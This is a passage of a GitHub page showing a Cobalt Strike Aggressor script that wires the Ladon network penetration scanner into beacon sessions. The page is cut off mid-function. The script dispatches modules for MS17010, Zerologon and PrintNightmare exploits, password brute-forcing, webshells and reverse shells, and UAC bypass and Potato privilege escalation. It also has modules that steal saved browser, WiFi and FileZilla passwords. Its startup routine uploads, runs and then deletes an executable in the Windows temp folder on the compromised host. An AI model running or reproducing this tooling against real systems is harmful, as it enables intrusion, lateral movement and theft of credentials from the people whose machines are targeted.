-
Notifications
You must be signed in to change notification settings - Fork 862
/
Ladon-cn.cna
3183 lines (3115 loc) · 151 KB
/
Ladon-cn.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#Ladon 12.0 for Cobalt Strike
#author: k8gege
#blog: http://k8gege.org/Ladon
#github: https://github.com/k8gege
#teston: CS 3.x & 4.0
#moudle:
#update: 20231201
#一些模块不支持CS(确却的说是CS是不支持),若需要请使用EXE全功能版。
#不支持模块1: [NbtScan VncScan MysqlScan OracleScan SSHscan WinrmScan WebDir SubDomain]
#不支持模块2: [SubDomain PsExec WinrmExec cmddll cve-2021-40444 webser]
#右键GUI小部分模块暂不可用,可使用beacon命令行Ladon
#include(script_resource("Ladon.cna"));
beacon_command_register(
"Ladon",
"Ladon large network penetration scanner",
"\nUsing: Ladon help\nLadon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password explosion, high-risk vulnerability detection and one click getshell. It supports batch a / B / C segment scanning and cross network segment scanning, as well as URL, host and domain name list scanning. Version 12.0 has built-in 180 function modules and 18 external modules. Through a variety of protocols and methods, it can quickly obtain the IP, computer name, working group, shared resources, network card address, operating system version, website, subdomain name, middleware, open service, router, database and other information of the target network");
alias ladon {
if (-exists script_resource("Ladon.exe")) {
blog2($1, "\c4Error: The correct command is Ladon");
blog2($1, "Example:");
blog2($1, "Ladon Whoami");
blog2($1, "Ladon 192.168.1.8/c MS17010");
}
}
menubar("Ladon", "newtab", 1); popup newtab { item("&K8gege", { url_open("http://k8gege.org"); }); separator(); item("&K8tools", { url_open("https://github.com/k8gege/K8tools"); });separator(); item("&Ladon", { url_open("https://github.com/k8gege/Ladon"); });separator(); item("&LadonGo", { url_open("https://github.com/k8gege/LadonGo"); }); separator(); item("&About", { openAboutDialog(); }); }
alias Ladon {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq "help"){
blog2($1, "Ladon 12.0");
blog2($1, "Usage:");
#blog2($1, "Ladon 1");
#blog2($1, "Ladon ip");
blog2($1, "Ladon ip scantype");
#blog2($1, "Ladon noping");
blog2($1, "Ladon noping ip");
blog2($1, "Ladon noping ip scantype");
blog2($1, "ScanType:(Discover/Brute/Encode/Exploit)");
blog2($1, "ip: [ip ip/24 ip/26 ip/8]");
blog2($1, "Discover: [ICMP Ping OnlineIP OnlinePC OSscan CiscoScan OxidScan DnsScan]");
blog2($1, "Discover: [WebScan SameWeb UrlScan WhatCMS WebDir Host2IP Domain2IP]");
blog2($1, "Discover: [SmbInfo WmiInfo RdpInfo SnmpInfo MssqlInfo ExchangeInfo WinrmInfo WPinfo SslInfo]");
blog2($1, "Vulnerable: [MS17010 SmbGhost WeblogicPoc PhpStudyPoc ActiveMQPoc TomcatPoc Struts2Poc]");
blog2($1, "Vulnerable: [WeblogicExp TomcatExp]");
blog2($1, "Brute-Force: [LdapScan FtpScan WmiScan SmbScan LdapScan SmbHashScan WmiHashScan 401Scan DvrScan ExchangeScan]");
blog2($1, "Discover: [EnumMssql EnumShare EnumIIS EnumProcess GetCmdLine GetInfo GetPipe GetHtml AdiDnsDump]");
blog2($1, "Encode: [EnHex DeHex EnBase64 DeBase64]");
blog2($1, "Sinffer: [[Sniffer FtpSniffer HttpSniffer HttpDownload FtpDownload]]");
blog2($1, "RemoteExec: [SmbExec AtExec WmiExec WmiExec2 SshExec JspShell WebShell AspxShell AspShell PhpShell CmdShell PostShell]");
blog2($1, "GetInfo: [AutoRun CheckDoor EnableDotNet GetIP GetHtml]");
blog2($1, "Elevate: [MS16135 BypassUAC RunSystem Runas RunPS SweetPotato BadPotato EfsPotato GodPotato]");
blog2($1, "Example: Ladon 192.168.1.8/24 OnlinePC");
blog2($1, "Example: Ladon 192.168.1.8/24 *.ini");
blog2($1, "Example: Ladon 192.168.1.8/24 *.ps1");
blog2($1, "Example: Ladon 192.168.1.8/24 *.dll(c#)");
blog2($1, "Example: Ladon 192.168.1.8/24 *.exe(c#)");
return;}else{
if (uc($2) eq "WHATCMS" || uc($2) eq "PORTSCAN" || uc($3) eq "WHATCMS" || uc($3) eq "PORTSCAN" || uc($4) eq "WHATCMS" || uc($4) eq "PORTSCAN"){
bexecute_assembly!($1, script_resource("res/Ladon30.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "SNIFFER" || uc($2) eq "HTTPSNIFFER" || uc($2) eq "FTPSNIFFER" || uc($2) eq "sniffer" || uc($2) eq "httpSniffer" || uc($2) eq "ftpSniffer" ){
bexecute_assembly!($1, script_resource("res/Ladon46.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "BADPOTATO" || uc($2) eq "MCPPOTATO" || uc($2) eq "CVE-2020-0688" || uc($2) eq "CVE-2021-36934" || uc($2) eq "RDPHIJACK" || uc($2) eq "BYPASSUAC11" || uc($2) eq "EXCHANGESCAN" || uc($3) eq "EXCHANGESCAN" || uc($4) eq "EXCHANGESCAN" || uc($2) eq "EXCHANGEINFO" || uc($3) eq "EXCHANGEINFO" || uc($4) eq "EXCHANGEINFO" || uc($2) eq "EXCHANGEPOC" || uc($3) eq "EXCHANGEPOC" || uc($4) eq "EXCHANGEPOC" || uc($2) eq "EXCHANGEVER" || uc($3) eq "EXCHANGEVER" || uc($4) eq "EXCHANGEVER" || uc($2) eq "HOSTSCAN" || uc($3) eq "HOSTSCAN" || uc($4) eq "HOSTSCAN" || uc($2) eq "ZTESCAN" || uc($3) eq "ZTESCAN" || uc($4) eq "ZTESCAN" || uc($2) eq "CVE-2018-14847" || uc($3) eq "CVE-2018-14847" || uc($4) eq "CVE-2018-14847"){
bexecute_assembly!($1, script_resource("res/Ladon40.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "GETIP" || uc($2) eq "WHOAMI" || uc($2) eq "GETID" || uc($2) eq "GETINFO" || uc($2) eq "CMDLINE" || uc($2) eq "GETCMDLINE" || uc($2) eq "ENUMPROCESS" || uc($2) eq "Cmdline" || uc($2) eq "GetCmdline" || uc($2) eq "ALLVER" || uc($2) eq "VER" || uc($2) eq "NETVER" || uc($2) eq "PSVER" || uc($2) eq "NETVERSION" || uc($2) eq "PSVERSION" || uc($2) eq "CHECKDOOR" || uc($2) eq "AUTORUN" || uc($2) eq "RECENT" || uc($2) eq "RDPLOG" || uc($2) eq "USBLOG" || uc($2) eq "QUERYADMIN" || uc($2) eq "GETPIPE" || uc($2) eq "QUERYPROXY"){
bexecute_assembly!($1, script_resource("res/LadonInfo.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "ARPINFO" || uc($2) eq "SMBINFO" || uc($2) eq "NBTINFO" || uc($2) eq "WMIINFO" || uc($2) eq "WINRMINFO" || uc($2) eq "SNMPINFO" || uc($2) eq "RDPINFO" || uc($2) eq "CISCOINFO" || uc($2) eq "SSLINFO" || uc($2) eq "WPINFO" || uc($2) eq "T3INFO" || uc($2) eq "HTTPINFO" || uc($2) eq "SMTPINFO" || uc($2) eq "INFOSCAN" || uc($3) eq "ARPINFO" || uc($3) eq "SMBINFO" || uc($3) eq "NBTINFO" || uc($3) eq "WMIINFO" || uc($3) eq "WINRMINFO" || uc($3) eq "SNMPINFO" || uc($3) eq "RDPINFO" || uc($3) eq "CISCOINFO" || uc($3) eq "SSLINFO" || uc($3) eq "WPINFO" || uc($3) eq "T3INFO" || uc($3) eq "HTTPINFO" || uc($3) eq "SMTPINFO" || uc($3) eq "INFOSCAN" || uc($4) eq "ARPINFO" || uc($4) eq "SMBINFO" || uc($4) eq "NBTINFO" || uc($4) eq "WMIINFO" || uc($4) eq "WINRMINFO" || uc($4) eq "SNMPINFO" || uc($4) eq "RDPINFO" || uc($4) eq "CISCOINFO" || uc($4) eq "SSLINFO" || uc($4) eq "WPINFO" || uc($4) eq "T3INFO" || uc($4) eq "HTTPINFO" || uc($4) eq "SMTPINFO" || uc($4) eq "INFOSCAN"){
bexecute_assembly!($1, script_resource("res/LadonInfo.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "ICMP" || uc($2) eq "PING" || uc($2) eq "ONLINEIP" || uc($2) eq "ONLINEPC" || uc($3) eq "ICMP" || uc($3) eq "PING" || uc($3) eq "ONLINEIP" || uc($3) eq "ONLINEPC" || uc($4) eq "ONLINEIP" || uc($4) eq "ONLINEPC" || uc($3) eq "ICMP" || uc($3) eq "PING"){
bexecute_assembly!($1, script_resource("res/Ladon48.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "MS17010" || uc($2) eq "SMBGHOST" || uc($2) eq "STRUTS2POC" || uc($2) eq "WEBLOGICPOC" || uc($2) eq "PHPSTUDYPOC" || uc($2) eq "TOMCATPOC" || uc($2) eq "ACTIVEMQPOC" || uc($2) eq "VSFTPDPOC" || uc($2) eq "HIKVISIONPOC" || uc($2) eq "CVE-2022-26134" || uc($2) eq "CVE-2022-27925" || uc($3) eq "MS17010" || uc($3) eq "SMBGHOST" || uc($3) eq "STRUTS2POC" || uc($3) eq "WEBLOGICPOC" || uc($3) eq "PHPSTUDYPOC" || uc($3) eq "TOMCATPOC" || uc($3) eq "ACTIVEMQPOC" || uc($3) eq "VSFTPDPOC" || uc($3) eq "HIKVISIONPOC" || uc($3) eq "CVE-2022-26134" || uc($3) eq "CVE-2022-27925" || uc($4) eq "MS17010" || uc($4) eq "SMBGHOST" || uc($4) eq "STRUTS2POC" || uc($4) eq "WEBLOGICPOC" || uc($4) eq "PHPSTUDYPOC" || uc($4) eq "TOMCATPOC" || uc($4) eq "ACTIVEMQPOC" || uc($4) eq "VSFTPDPOC" || uc($4) eq "HIKVISIONPOC" || uc($4) eq "CVE-2022-26134" || uc($4) eq "CVE-2022-27925"){
bexecute_assembly!($1, script_resource("res/LadonPoc.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "SMBSCAN" || uc($2) eq "WMISCAN" || uc($2) eq "SMBHASHSCAN" || uc($2) eq "WMIHASHSCAN" || uc($2) eq "FTPSCAN" || uc($2) eq "LDAPSCAN" || uc($2) eq "MSSQLSCAN" || uc($2) eq "WEBLOGICSCAN" || uc($2) eq "TOMCATSCAN" || uc($2) eq "401SCAN" || uc($2) eq "HTTPBASICSCAN" || uc($2) eq "DVRSCAN" || uc($2) eq "WEBDIR" || uc($2) eq "CISCOSCAN" || uc($2) eq "WPSCAN" || uc($2) eq "EXCHANGESCAN" || uc($2) eq "TELNETSCAN" || uc($2) eq "DRAYTEKSCAN" || uc($2) eq "HIKVISIONSCAN" || uc($3) eq "SMBSCAN" || uc($3) eq "WMISCAN" || uc($3) eq "SMBHASHSCAN" || uc($3) eq "WMIHASHSCAN" || uc($3) eq "FTPSCAN" || uc($3) eq "LDAPSCAN" || uc($3) eq "MSSQLSCAN" || uc($3) eq "WEBLOGICSCAN" || uc($3) eq "TOMCATSCAN" || uc($3) eq "401SCAN" || uc($3) eq "HTTPBASICSCAN" || uc($3) eq "DVRSCAN" || uc($3) eq "WEBDIR" || uc($3) eq "CISCOSCAN" || uc($3) eq "WPSCAN" || uc($3) eq "EXCHANGESCAN" || uc($3) eq "TELNETSCAN" || uc($3) eq "DRAYTEKSCAN" || uc($3) eq "HIKVISIONSCAN" || uc($4) eq "SMBSCAN" || uc($4) eq "WMISCAN" || uc($4) eq "SMBHASHSCAN" || uc($4) eq "WMIHASHSCAN" || uc($4) eq "FTPSCAN" || uc($4) eq "LDAPSCAN" || uc($4) eq "MSSQLSCAN" || uc($4) eq "WEBLOGICSCAN" || uc($4) eq "TOMCATSCAN" || uc($4) eq "401SCAN" || uc($4) eq "HTTPBASICSCAN" || uc($4) eq "DVRSCAN" || uc($4) eq "WEBDIR" || uc($4) eq "CISCOSCAN" || uc($4) eq "WPSCAN" || uc($4) eq "EXCHANGESCAN" || uc($4) eq "TELNETSCAN" || uc($4) eq "DRAYTEKSCAN" || uc($4) eq "HIKVISIONSCAN"){
bexecute_assembly!($1, script_resource("res/Ladon35.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "DISSERVICE" || uc($2) eq "STOPSERVICE" || uc($2) eq "CLOSESMB" || uc($2) eq "OPENTCP" || uc($2) eq "OPENUDP" || uc($2) eq "CLOSETCP" || uc($2) eq "CLOSEUDP"){
bexecute_assembly!($1, script_resource("res/Ladon48.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "SMBEXEC" || uc($2) eq "ATEXEC" || uc($2) eq "MMCEXEC" || uc($2) eq "SHELLEXEC" || uc($2) eq "SHELLBROWSEREXEC" || uc($2) eq "WMIEXEC" || uc($2) eq "WMIEXEC2" || uc($2) eq "MSSQLCMD"){
bexecute_assembly!($1, script_resource("res/LadonRce.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "JSPSHELL" || uc($2) eq "WEBSHELL" || uc($2) eq "WEBSHELLCMD" || uc($2) eq "CMDSHELL" || uc($2) eq "POSTSHELL" || uc($2) eq "ASPSHELL" || uc($2) eq "ASPXSHELL" || uc($2) eq "PHPSHELL" || uc($2) eq "KSHELL" || uc($2) eq "POWERCAT" || uc($2) eq "REVERSETCP" || uc($2) eq "IISDOOR"){
bexecute_assembly!($1, script_resource("res/Ladon20.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "BYPASSUAC" || uc($2) eq "BYPASSUAC2" || uc($2) eq "MS16135" || uc($2) eq "PRINTNIGHTMARE" || uc($2) eq "SPOOLFOOL" || uc($2) eq "PRINTNOTIFYPOTATO"){
bexecute_assembly!($1, script_resource("res/LadonLpe2.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "RUNSYSTEM" || uc($2) eq "RUNUSER" || uc($2) eq "RUNTOKEN" || uc($2) eq "GODPOTATO" || uc($2) eq "RUNAS" || uc($2) eq "RUNPS" || uc($2) eq "SWEETPOTATO" || uc($2) eq "CVE-2021-1675" || uc($2) eq "EFSPOTATO" ){
bexecute_assembly!($1, script_resource("res/LadonLpe.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "ZEROLOGON" || uc($2) eq "RUNAS" || uc($2) eq "CVE-2023-33246" || uc($2) eq "EXP-2022-36537" || uc($2) eq "PRINTNIGHTMARE"){
bexecute_assembly!($1, script_resource("res/LadonExp.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "FTPSERVER" || uc($2) eq "FTP" || uc($2) eq "WEBSERVER" || uc($2) eq "WEB" || uc($2) eq "TCPSERVER" || uc($2) eq "TCP" || uc($2) eq "UDPSER" || uc($2) eq "UDP"){
bexecute_assembly!($1, script_resource("res/LadonSer.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "WIFIPWD" || uc($2) eq "IISPWD" || uc($2) eq "FILEZILLAPWD" || uc($2) eq "GETPWD" || uc($2) eq "XSHELLPWD"){
bexecute_assembly!($1, script_resource("res/LadonPwd.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}else if (uc($2) eq "CHROMEPWD" || uc($2) eq "chromePwd" || uc($2) eq "chromepwd" || uc($2) eq "Chromepwd"){
bexecute_assembly!($1, script_resource("res/ChromePwd.dat"),"Start pwd");
}else if (uc($2) eq "COCCOCPWD" || uc($2) eq "CoccocPwd" || uc($2) eq "Coccocpwd" || uc($2) eq "coccocpwd"){
bexecute_assembly!($1, script_resource("res/CocCocPwd.dat"),"Start pwd");
}else if (uc($2) eq "FIREFOXPWD" || uc($2) eq "Firefoxpwd" || uc($2) eq "firefoxPwd" || uc($2) eq "firefoxpwd"){
bexecute_assembly!($1, script_resource("res/FirefoxPwd.dat"),"firefox");
}else if (uc($2) eq "EDGEPWD" || uc($2) eq "Edgepwd" || uc($2) eq "edgePwd" || uc($2) eq "edgepwd"){
bexecute_assembly!($1, script_resource("res/EdgePwd.dat"),"edge");
}else if (uc($2) eq "SSHCMD" || uc($2) eq "SshCmd" || uc($2) eq "SSHEXEC" || uc($2) eq "sshexec" || uc($2) eq "SSHSHELL" || uc($2) eq "sshshell"){
bexecute_assembly!($1, script_resource("res/sshcmd.dat"), $3.' '.$4.' '.$5.' '.$6.' '.$7);
}else{
bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);
}
}
# on beacon_output {
# $message = replace($2, 'received output:\n'.'');
# #if ("ISOK" isin $message){
# #blog2($1,"\cD".$2);
# #}
# @array = split("\r\n",$message);
# @data = remove(@array,"");
# @data[$key] = replaceAt($value, "", 0, 0);
# #blog2($1,"\cD0000".88888888);
# if ("MS17-010" isin @data[$key]){
# blog2($1,"\cD".88888888);
# }
# if ("CVE-2020-0796" isin @data[$key]){
# blog2($1,"\cD".88888888);
# }
# }
# @data = remove(@array,"");
# @data[$key] = "\"".$value."\"";
# }
# $string1 = "strat:";
# foreach $value (@data){
# $string1 = $string1.$value;
# }
# foreach $key (%sr){
# if ($key isin $string1){
# #blog2($1,"\c8".%sr[$key]);
# }
# }
# }
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonStart {
blog2($bid,"Ladon ".$3["moudle"]);
bcd!($bid, "c:\\windows\\temp");
brm!($bid,"Ladon.exe");
brm!($bid,"netscan.dll");
#bshell!($bid,"del Ladon**.exe");
if($3["moudle"] !eq "Default"){
brm!($bid, "netscan.dll");
}
bupload!($bid, script_resource("bin\\Ladon".$3['clrver'].".exe"));
bmv!($bid, "Ladon".$3['clrver'].".exe", "Ladon.exe");
if($3["moudle"] !eq "Default"){
bupload!($bid, script_resource("bin\\".$3['moudle']."\\netscan".$3['clrver'].".dll"));
bmv!($bid, "netscan".$3['clrver'].".dll", "netscan.dll");
}
bshell!($bid, "Ladon.exe");
#bpause($1, 10000);
brm!($bid,"Ladon.exe");
if($3["moudle"] !eq "Default"){
brm!($bid, "netscan.dll");
}
}
sub LadonScan {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['tar'].' '.$3['moudle']);}}
# on beacon_output {
# $message = replace($2, 'received output:\n'.'');
# #if ("ISOK" isin $message){
# #blog2($1,"\cD".$2);
# #}
# @array = split("\r\n",$message);
# @data = remove(@array,"");
# @data[$key] = replaceAt($value, "", 0, 0);
# #blog2($1,"\cD0000".88888888);
# if ("MS17-010" isin @data[$key]){
# blog2($1,"\cD".88888888);
# }
# if ("CVE-2020-0796" isin @data[$key]){
# blog2($1,"\cD".88888888);
# }
# }
# @data = remove(@array,"");
# @data[$key] = "\"".$value."\"";
# }
# $string1 = "strat:";
# foreach $value (@data){
# $string1 = $string1.$value;
# }
# foreach $key (%sr){
# if ($key isin $string1){
# #blog2($1,"\c8".%sr[$key]);
# }
# }
# }
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonScan30 {
if (-exists script_resource("res/Ladon30.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon30.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon30.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonPoc {
if (-exists script_resource("res/LadonPoc.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonPoc.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonPoc.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonExp {
if (-exists script_resource("res/Ladon40.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonExp.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonExp.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonScan40 {
if (-exists script_resource("res/Ladon40.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonScan48 {
if (-exists script_resource("res/Ladon48.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon48.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon48.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonInfo {
if (-exists script_resource("res/LadonInfo.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonInfo.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonInfo.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonScan35 {
if (-exists script_resource("res/Ladon35.dat")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon35.dat"),'noping '.$3['tar'].' '.$3['moudle']);
}else
{
blog2($bid,"\c2Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon35.dat"), $3['tar'].' '.$3['moudle']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonSniffer {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("res/Ladon46.dat"),'noping '.$3['moudle'].' '.$3['tar']);
}else
{
blog2($bid,"\c2Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("res/Ladon46.dat"), $3['moudle'].' '.$3['tar']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LoadMoudle2 {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
if ($3['type'] eq 'true'){
blog2($bid,"\c2Ladon noping ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon.exe"),'noping '.$3['moudle'].' '.$3['tar']);
}else
{
blog2($bid,"\c2Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub sshcmd {
if (-exists script_resource("res/sshcmd.dat")) {
if ($2 eq ""){
blog2($1, "Usage: sshcmd host port user pass cmd");
return;}else
{bexecute_assembly!($1, script_resource("res/sshcmd.dat"), $2.' '.$3.' '.$4.' '.$5.' '.$6);}
}else {berror($1, "sshcmd.dat does not exist :(");}
}
sub GetInfo {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else
{
if ($3['moudle'] eq 'CVE-2021-36934'){
blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),$3['moudle']);
}else if ($3['moudle'] eq "DirList"){
blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"),$3['moudle'].' 0');
}else
{blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"),$3['moudle']);}
}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonPwd {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
